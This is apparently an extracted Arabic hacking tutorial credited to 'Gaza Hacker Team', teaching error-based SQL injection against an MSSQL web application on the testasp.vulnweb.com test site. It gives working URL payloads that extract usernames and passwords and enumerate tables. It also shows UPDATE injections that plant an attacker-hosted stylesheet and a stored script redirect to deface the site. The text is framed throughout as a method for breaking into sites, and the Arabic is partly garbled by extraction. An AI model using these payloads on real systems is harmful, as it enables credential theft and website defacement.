Column ‫ و‬Table ‫الخطوة التالية الن سوف نقوم بإستخراج قيم العمدة التي حصلناها بالمرحلة السابقة مع رمراعاة تبديل القيم‬
. ‫بما ريناسبها‬

‫الستعلم الرمستخدم لذلك‬

or 1=convert(int,(select top 1 Column from Table))--

testasp.vulnweb.com/showforum.asp?id=1+or 1=convert(int,(select top 1 uname from users)) -- -

testasp.vulnweb.com/showforum.asp?id=1+or 1=convert(int,(select top 1 upass from users)) -- -

‫ للفصل بين‬2b'/'%2b% ‫ ولتحصيل القيمتين معا ل بإستعلم واحد نقوم بإضافة القيمة‬g00dPa$$w0rD ‫اليوز !))(&&!|*|*| والباس‬
: ‫القيمتين الخصيين بالعمدة كالتالي‬

testasp.vulnweb.com/showforum.asp?id=1+or 1=convert(int,(select top 1 uname%2b'/'%2bupass from users)) -- -

: ‫ يكون الحل كالتالي‬Microsoft SQL Server ‫وفي حالة تحقق وجود مشكلة القيم الرقمية بقواعد بيانات‬

testasp.vulnweb.com/showforum.asp?id=1+or 1=convert(int,(select+top+1+QUOTENAME(upass,'''')+from+users)) --
-
‫الباب الثالث ‪ :‬حقن قواعد بيانات ويندوز سيرفر عملية زرع الـ ‪ Image‬الرمعبرة عن الختراق ‪.‬‬

‫كم الخاصة بالموقع الرمستهدف لتمام عملية الختراق الكامل ‪ ,‬فرهناك رطرق رأخري‬ ‫كن من الوصول إلى لوحة التح ر‬
‫في حالة عدم التم ر‬
‫لولي هي ما نقوم بدراستها حاليا ل والحالة ا ر‬
‫لخرى تأتي لحقا ل بالباب‬ ‫ل ل متعويض عن ذلك وإتمام عملية الختراق ‪ ,‬وذلك في حالتين الحالة ا ر‬
‫التالي ‪.‬‬

‫الخطوة الول ‪ :‬إستخراج كامل الجداول من الموقع الرمستهدف بإستخدام القيمة ‪having 1=1‬‬

‫‪testasp.vulnweb.com/showthread.asp?id=1 having 1=1 -- -‬‬

‫القمية الناتجة ‪ threads.title :‬وكـ توضيح لهم ‪:‬‬

‫الجدول = ‪threads‬‬

‫العمود الخاص بهذا الجدول = ‪title‬‬

‫ولتحصيل القمية التي تلي ذلك والرمرفق معها العمود الخاص بها نقوم بإستخدام القيمة الستعلمية ‪ group by‬رثم إضافة إسم الجدول‬
‫الرمستخرج مع البقاء للقيمة ‪ having 1=1‬بنهاية الستعلم ‪:‬‬

‫‪testasp.vulnweb.com/showforum.asp?id=1 group by threads.title having 1=1 -- -‬‬

‫حدث خطأ ‪ The multi-part identifier "forums.name" could not be bound‬حسنا ل معناه أي ل يوجد المزيد ‪-‬‬
. ‫ وصورة مرفوعة برابط رمباشر‬css ‫ نحتاج لكود‬: ‫الخطوة التالية‬
‫ الصورة المطلوبة مررفوعة برابط رمباشر‬: ‫أول ل‬

https://i.imgur.com/yQ4P5.jpg

css ‫ كود الـ‬: ‫ثانيا ل‬


. css ‫ التالي بره وحفظة بإمتداد‬css ‫ ونقوم بوضع كود الـ‬TEXT ‫ نقوم بفتح ملف كتابي‬: ‫أول ة‬

BODY {
SCROLLBAR-FACE-COLOR: black; SCROLLBAR-HIGHLIGHT-COLOR: black; SCROLLBAR-SHADOW-
COLOR: darkgray; SCROLLBAR-3DLIGHT-COLOR: #ee; SCROLLBAR-ARROW-COLOR: black; SCROLLBAR-
TRACK-COLOR: gray; SCROLLBAR-DARKSHADOW-COLOR: black
}
A:link {
COLOR: darkblue; TEXT-DECORATION: none
}
A:visited {
COLOR: #000088; TEXT-DECORATION: none
}
A:hover {
COLOR: black
}
body, td, th {
color: black;
}
table, p, td, t

{
visibility:hidden;
}
body {
background-color: black;
background-image:url('img link');
background-repeat:no-repeat;
background-position:top;
}
: ‫ داخل الكود برابط الصورة الرمباشرة التي رقمنا برفعها رمسبقا ل على النحو التالي‬img link ‫ نفوم بإستبدال القيمة‬: ‫ثانيا ل‬

} BODY
SCROLLBAR-FACE-COLOR: black; SCROLLBAR-HIGHLIGHT-COLOR: black; SCROLLBAR-SHADOW-
COLOR: darkgray; SCROLLBAR-3DLIGHT-COLOR: #ee; SCROLLBAR-ARROW-COLOR: black; SCROLLBAR-
TRACK-COLOR: gray; SCROLLBAR-DARKSHADOW-COLOR: black
}
A:link {
COLOR: darkblue; TEXT-DECORATION: none
}
A:visited {
COLOR: #000088; TEXT-DECORATION: none
}
A:hover {
COLOR: black
}
body, td, th {
color: black;
}
table, p, td, t

{
visibility:hidden;
}
body {
background-color: black;
background-image:url('http://lovern.doomby.com/medias/images/2013.jpg');
background-repeat:no-repeat;
background-position:top;
}

‫ هو أيضا ل بعد إدخال رابط الصورة الرمباشر عليه بموقع ريعطي رابط رمباشر لره هو أبضا ل كما فعلنا مع الصورة‬css ‫ نقوم برفع ملف الـ‬: ‫ثالثا ل‬

css ‫الرابط الرمباشر لملف الـ‬

http://lovern.doomby.com/medias/files/css.css

‫ داخل الكود التالي والتعويض عن ر‬css ‫ نقوم بوضع الرابط الرمباشر لملف الـ‬: ‫رابعا ل‬
‫جملة ملف الـ سي إس إس برابط الملف الرمباشر‬
: ‫على النحو التالي‬

'<link href=‫ ملف الـ سي إس إس‬rel=stylesheet>;--'

'<link href=http://lovern.doomby.com/medias/files/css.css rel=stylesheet>;--'

(‫ نقوم بإضافة الكود الستعلمي التالي لرابط الموقع الرمستهدف بصورة رمباشرة مع رمراعاة إستبدال القيم )الجدول( و )العمود‬: ‫خامسا ل‬
. threads.title ‫بالبيانات الرمستخرجة سابقا ل‬

+Update+‫الجدول‬+Set+‫=العمود‬

testasp.vulnweb.com/showthread.asp?id=1+Update+threads+Set+title=
‫سادسا ل ‪ :‬نقوم بإضافة الكود ال ر‬
‫كلي لملف الـ ‪ css‬بعد علمة الـ = على النحو التالي ‪:‬‬

‫‪testasp.vulnweb.com/showthread.asp?id=1+Update+threads+Set+title='<link‬‬
‫'‪href=http://lovern.doomby.com/medias/files/css.css rel=stylesheet>;--‬‬

‫سابعا ل ‪ :‬نقوم بضغط على رمفتاح الـ ‪- Enter‬‬

‫ثامنا ل ‪ :‬نقوم بعمل ريفريش بالضغط على رمفتاح الـ ‪ F5‬للموقع ورنشاهد النتيجة ‪-‬‬
‫نقوم بحذف الكود بعد رقم الرمتغير وعمل ريفريش مرة رأخرى للتأركد من نجاح العملية ‪.‬‬
‫الباب الثالث ‪ :‬حقن قواعد بيانات ويندوز سيرفر عملية زرع الـ ‪ Index‬الرمعبرة عن الختراق ‪.‬‬

‫بالباب السابق تعلمنا كيفية القيام بعملية زرع صورة رمعبرة عن عملية الختراق وسوف نتعلم بهذا الباب عملية زرع الندكس‬
‫‪ Index‬الخاص بالرسالة الرمض لممنرة لسباب الختراق ‪.‬‬

‫أول ل ‪ :‬نقوم برفع الندكس الخاص لبنا على موقع ريعطي رابط رمباشر لره ‪.‬‬

‫الرابط الرمباشر للندكس بعد رفعره‬

‫‪http://lovern.doomby.com/medias/files/this-is-just-a-test-2.html‬‬

‫ثانيا ل ‪ :‬نقوم بإضافة هذا الرابط الرمباشر الخاص بالندكس بالكود التالي ‪-‬‬

‫'>‪");</script‬الرابط الرمباشر للندكس"(‪'<script>location.replace‬‬

‫'>‪'<script>location.replace("http://lovern.doomby.com/medias/files/this-is-just-a-test-2.html");</script‬‬

‫ثالثا ل ‪ :‬نقوم بإضافة هذا الكود الكامل للكود الخاص بقيم الجدول والعمود الرمحقن بلهمما على النحو التالي وكما فعلنا بالباب السابق ‪-‬‬

‫''=‪+Update+threads+Set+title‬‬

‫‪+Update+threads+Set+title='<script>location.replace("http://lovern.doomby.com/medias/files/this-is-just-a-test-‬‬
‫'>‪2.html");</script‬‬

‫رابعا ل ‪ :‬نقوم بإضافة الكود الستعلمي الكامل هذا إلى رابط الموقع الهدف والضغط على رمفتاح ‪ F5‬لعمل عملية ريفريش ‪.‬‬

‫?‪testasp.vulnweb.com/showthread.asp‬‬
‫‪id=1+Update+threads+Set+title='<script>location.replace("http://lovern.doomby.com/medias/files/this-is-just-a-test-‬‬
‫'>‪2.html");</script‬‬
‫بعد الضغط على رمفتاح الريفريش ‪F5‬‬

‫رثم نقوم بحذف ركل الستعلم بعد رقم الرمتغير والضغط على رمفتاح الـ ‪ F5‬مرة رأخرى لعمل ريفرش ورمراقبة الناتج ‪.‬‬

‫•◘╚╦☆ ‪•◘╦╚☆ 1‬‬

‫•◘╚╦☆ ‪•◘╦╚☆ 2‬‬

‫بعد الضغط على رمفتاح الريفريش ‪F5‬‬


‫•◘╚╦☆ ‪•◘╦╚☆ 3‬‬

‫قامت الصفحة بالتحويل إلي رابط الندكس الرمباشر الخاص بنا لتكون هي الصفحة البديلة التي تظهر في حال رمحاولة أي شخص الولوج‬
‫لهذه الرابط من الموقع ‪.‬‬

‫▂ ▃ ▄ ▅ ▆ ▇ █ نهايـــة الفـصــ ل █ ▇ ▆ ▅ ▄ ▃ ▂‬
‫•◘╚╦☆ الخالتمة ☆╚╦◘•‬

‫اللهم ارحمنا فأنت بنا راحم ‪ .‬ول تعـذبنا فأنت عـلينا قادر ‪.‬‬

‫اللهم ارحمنا إذا أتانا اليقين وعرق منا الجبين وكثر النين والحنين ‪.‬‬

‫اللهم ارحمنا إذا يئس منا الطبيب وبكى علينا الحبيب وتخلى عنا القريب والغريب وارتفع النشيج والنحيب ‪.‬‬

‫اللهم ارحمنا إذا اشتدت السكرات وتوالت الحسرات و أطبقت الروعات وفاضت العبرات و تكشفت العورات و تعطلت القوة و القدرات ‪.‬‬

‫اللهم ارحمنا اذا بردت القدمان وارتخت اليدان وضعف الجنان وعرق الجبين وزاغ البصر ‪.‬‬

‫اللهم ارحمنا إذا بلغت التراقي وقيل من راق وتأكدت فجيعة الفراق للهل والرفاق وقد حام القضاء فليس من واق ‪.‬‬

‫اللهم ارحمنا اذا غسلونا وارحمنا اذا كفنونا وعلى العناق حملونا ‪.‬‬

‫))اللهم اغفر للمسلمين والمسلمات الحياء منهم والموات ((‬

‫))اللهم صلي وسلم وبارك على سيدنا محمد وعلى اله وصحبه وسلم ((‬

‫))اللهم أمين يا رب العالمين((‬


Stronger Today Than I was Yesterday..! It’s not over till I win..!

Gaza Hacker Team


BlackRose : ‫أحمد المليجي‬

Email : ghtvbr@gmail.com

Facebook : facebook.com/GHBlaCkRose

Egypt 2017

You might also like